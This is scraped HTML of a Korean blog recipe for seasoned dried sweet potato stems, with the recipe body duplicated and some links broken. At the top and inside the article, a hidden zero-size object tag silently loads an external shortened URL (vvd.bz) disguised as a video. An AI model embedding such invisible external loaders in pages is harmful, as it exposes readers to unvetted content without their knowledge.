<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:44">마른 고구마순 나물 만들기: 푸짐하고 건강한 한 끼를 위한 특별한 레시피</h2><p data-sourcepos="3:1-3:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bb619c4b92768b40&quot;,&quot;c_d614f6d3310a93a6&quot;,null,&quot;rc_0037a2b8d21b3c2b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6996751"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="마른 고구마순 나물 재료 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTtTMbJ_IWwFtLqPgqLDr5ublzQoCqSc4Czgs9Ba2-f-_qUyOieKmVhGJwfaCqo"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6996751" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bb619c4b92768b40&quot;,&quot;c_d614f6d3310a93a6&quot;,null,&quot;rc_0037a2b8d21b3c2b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 마른 고구마순 나물 재료 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="5:1-5:90">마른 고구마순은 쫄깃한 식감과 구수한 풍미가 일품인 제철 식재료입니다. 밑반찬으로도 좋고, 밥에 비벼 먹어도 맛있는 마른 고구마순 나물 만드는 법을 알려드릴게요.</p><h3 data-sourcepos="7:1-7:9">재료 준비</h3><ul data-sourcepos="9:1-18:0">
<li data-sourcepos="9:1-9:9">마른 고구마순</li>
<li data-sourcepos="10:1-10:3">물</li>
<li data-sourcepos="11:1-11:4">간장</li>
<li data-sourcepos="12:1-12:7">다진 마늘</li>
<li data-sourcepos="13:1-13:6">다진 파</li>
<li data-sourcepos="14:1-14:5">들기름</li>
<li data-sourcepos="15:1-15:5">참기름</li>
<li data-sourcepos="16:1-16:4">통깨</li>
<li data-sourcepos="17:1-18:0">소금</li>
</ul><h3 data-sourcepos="19:1-19:9">만드는 법</h3><ol data-sourcepos="21:1-33:0">
<li data-sourcepos="21:1-24:0">
<p data-sourcepos="21:4-21:36"><strong>불리기:</strong> 마른 고구마순을 찬물에 충분히 불려줍니다.</p>
<ul data-sourcepos="22:5-24:0">
<li data-sourcepos="22:5-22:35">딱딱한 부분이 없이 부드러워질 때까지 불려야 합니다.</li>
<li data-sourcepos="23:5-24:0">보통 30분에서 1시간 정도 불리면 적당합니다.</li>
</ul>
</li>
<li data-sourcepos="25:1-27:0">
<p data-sourcepos="25:4-25:41"><strong>삶기:</strong> 불린 고구마순을 끓는 물에 넣고 5분 정도 삶아줍니다.</p>
<ul data-sourcepos="26:5-27:0">
<li data-sourcepos="26:5-27:0">삶은 후 찬물에 헹궈 물기를 꼭 짜줍니다.</li>
</ul>
</li>
<li data-sourcepos="28:1-31:0">
<p data-sourcepos="28:4-28:48"><strong>볶기:</strong> 달궈진 팬에 들기름을 두르고 다진 마늘과 파를 볶아 향을 내줍니다.</p>
<ul data-sourcepos="29:5-31:0">
<li data-sourcepos="29:5-29:39">삶은 고구마순을 넣고 간장, 소금으로 간을 맞춰 볶아줍니다.</li>
<li data-sourcepos="30:5-31:0">고구마순이 골고루 익고 양념이 잘 배도록 충분히 볶아줍니다.</li>
</ul>
</li>
<li data-sourcepos="32:1-33:0">
<p data-sourcepos="32:4-32:40"><strong>마무리:</strong> 마지막에 참기름과 통깨를 뿌려 고소함을 더해줍니다.</p>
</li>
</ol><p data-sourcepos="34:1-34:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bb619c4b92768b40&quot;,&quot;c_d614f6d3310a93a6&quot;,null,&quot;rc_0037a2b8d21b3c2b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6908267"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="마른 고구마순 나물 완성 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRnxiAt6sEKZ2asoDZRh63fmaSSQuIn7i8p2Ufn3Dp5xvEtgvyJeMy5lZrDbHNC"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6908267" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bb619c4b92768b40&quot;,&quot;c_d614f6d3310a93a6&quot;,null,&quot;rc_0037a2b8d21b3c2b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 마른 고구마순 나물 완성 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><h3 data-sourcepos="36:1-36:5">팁</h3><ul data-sourcepos="38:1-42:0">
<li data-sourcepos="38:1-38:50"><strong>불리는 시간:</strong> 고구마순의 종류와 두께에 따라 불리는 시간이 달라질 수 있습니다.</li>
<li data-sourcepos="39:1-39:42"><strong>간은 기호에 맞게:</strong> 간장과 소금의 양은 기호에 맞게 조절해주세요.</li>
<li data-sourcepos="40:1-40:38"><strong>다른 양념:</strong> 고춧가루를 넣어 매콤하게 즐길 수도 있습니다.</li>
<li data-sourcepos="41:1-42:0"><strong>곁들임:</strong> 밥과 함께 먹거나, 비빔밥에 넣어 먹어도 좋습니다.</li>
</ul><p data-sourcepos="43:1-43:33"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bb619c4b92768b40&quot;,&quot;c_d614f6d3310a93a6&quot;,null,&quot;rc_0037a2b8d21b3c2b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=0XQMe1DnzgA"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="마른 고구마순 나물을 곁들인 밥상 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRj8P_IDmSzGrklYnsTxfFNHGMY9ndaMv5yVXCQTzxWAW-MdCp0cPn8BztI8gyU"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=0XQMe1DnzgA" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_bb619c4b92768b40&quot;,&quot;c_d614f6d3310a93a6&quot;,null,&quot;rc_0037a2b8d21b3c2b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.youtube.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 마른 고구마순 나물을 곁들인 밥상 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="45:1-45:100">마른 고구마순 나물은 쉽고 간단한 방법으로 맛있는 밑반찬을 만들 수 있는 좋은 방법입니다. 쫄깃한 식감과 구수한 풍미가 일품인 마른 고구마순 나물로 건강한 한 끼를 만들어 보세요.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:44">마른 고구마순 나물 만들기: 푸짐하고 건강한 한 끼를 위한 특별한 레시피</h2><p data-sourcepos="3:1-3:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bb619c4b92768b40","c_d614f6d3310a93a6",null,"rc_0037a2b8d21b3c2b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6996751"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="마른 고구마순 나물 재료 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTtTMbJ_IWwFtLqPgqLDr5ublzQoCqSc4Czgs9Ba2-f-_qUyOieKmVhGJwfaCqo"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6996751" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bb619c4b92768b40","c_d614f6d3310a93a6",null,"rc_0037a2b8d21b3c2b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 마른 고구마순 나물 재료 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="5:1-5:90">마른 고구마순은 쫄깃한 식감과 구수한 풍미가 일품인 제철 식재료입니다. 밑반찬으로도 좋고, 밥에 비벼 먹어도 맛있는 마른 고구마순 나물 만드는 법을 알려드릴게요.</p><h3 data-sourcepos="7:1-7:9">재료 준비</h3><ul data-sourcepos="9:1-18:0">
<li data-sourcepos="9:1-9:9">마른 고구마순</li>
<li data-sourcepos="10:1-10:3">물</li>
<li data-sourcepos="11:1-11:4">간장</li>
<li data-sourcepos="12:1-12:7">다진 마늘</li>
<li data-sourcepos="13:1-13:6">다진 파</li>
<li data-sourcepos="14:1-14:5">들기름</li>
<li data-sourcepos="15:1-15:5">참기름</li>
<li data-sourcepos="16:1-16:4">통깨</li>
<li data-sourcepos="17:1-18:0">소금</li>
</ul><h3 data-sourcepos="19:1-19:9">만드는 법</h3><ol data-sourcepos="21:1-33:0">
<li data-sourcepos="21:1-24:0">
<p data-sourcepos="21:4-21:36"><strong>불리기:</strong> 마른 고구마순을 찬물에 충분히 불려줍니다.</p>
<ul data-sourcepos="22:5-24:0">
<li data-sourcepos="22:5-22:35">딱딱한 부분이 없이 부드러워질 때까지 불려야 합니다.</li>
<li data-sourcepos="23:5-24:0">보통 30분에서 1시간 정도 불리면 적당합니다.</li>
</ul>
</li>
<li data-sourcepos="25:1-27:0">
<p data-sourcepos="25:4-25:41"><strong>삶기:</strong> 불린 고구마순을 끓는 물에 넣고 5분 정도 삶아줍니다.</p>
<ul data-sourcepos="26:5-27:0">
<li data-sourcepos="26:5-27:0">삶은 후 찬물에 헹궈 물기를 꼭 짜줍니다.</li>
</ul>
</li>
<li data-sourcepos="28:1-31:0">
<p data-sourcepos="28:4-28:48"><strong>볶기:</strong> 달궈진 팬에 들기름을 두르고 다진 마늘과 파를 볶아 향을 내줍니다.</p>
<ul data-sourcepos="29:5-31:0">
<li data-sourcepos="29:5-29:39">삶은 고구마순을 넣고 간장, 소금으로 간을 맞춰 볶아줍니다.</li>
<li data-sourcepos="30:5-31:0">고구마순이 골고루 익고 양념이 잘 배도록 충분히 볶아줍니다.</li>
</ul>
</li>
<li data-sourcepos="32:1-33:0">
<p data-sourcepos="32:4-32:40"><strong>마무리:</strong> 마지막에 참기름과 통깨를 뿌려 고소함을 더해줍니다.</p>
</li>
</ol><p data-sourcepos="34:1-34:28"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bb619c4b92768b40","c_d614f6d3310a93a6",null,"rc_0037a2b8d21b3c2b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6908267"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="마른 고구마순 나물 완성 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRnxiAt6sEKZ2asoDZRh63fmaSSQuIn7i8p2Ufn3Dp5xvEtgvyJeMy5lZrDbHNC"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6908267" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bb619c4b92768b40","c_d614f6d3310a93a6",null,"rc_0037a2b8d21b3c2b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 마른 고구마순 나물 완성 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><h3 data-sourcepos="36:1-36:5">팁</h3><ul data-sourcepos="38:1-42:0">
<li data-sourcepos="38:1-38:50"><strong>불리는 시간:</strong> 고구마순의 종류와 두께에 따라 불리는 시간이 달라질 수 있습니다.</li>
<li data-sourcepos="39:1-39:42"><strong>간은 기호에 맞게:</strong> 간장과 소금의 양은 기호에 맞게 조절해주세요.</li>
<li data-sourcepos="40:1-40:38"><strong>다른 양념:</strong> 고춧가루를 넣어 매콤하게 즐길 수도 있습니다.</li>
<li data-sourcepos="41:1-42:0"><strong>곁들임:</strong> 밥과 함께 먹거나, 비빔밥에 넣어 먹어도 좋습니다.</li>
</ul><p data-sourcepos="43:1-43:33"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bb619c4b92768b40","c_d614f6d3310a93a6",null,"rc_0037a2b8d21b3c2b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=0XQMe1DnzgA"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="마른 고구마순 나물을 곁들인 밥상 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRj8P_IDmSzGrklYnsTxfFNHGMY9ndaMv5yVXCQTzxWAW-MdCp0cPn8BztI8gyU"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=0XQMe1DnzgA" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bb619c4b92768b40","c_d614f6d3310a93a6",null,"rc_0037a2b8d21b3c2b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.youtube.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 마른 고구마순 나물을 곁들인 밥상 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="45:1-45:100">마른 고구마순 나물은 쉽고 간단한 방법으로 맛있는 밑반찬을 만들 수 있는 좋은 방법입니다. 쫄깃한 식감과 구수한 풍미가 일품인 마른 고구마순 나물로 건강한 한 끼를 만들어 보세요.</p></div>
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마른 고구마순 나물 만들기 만드는법
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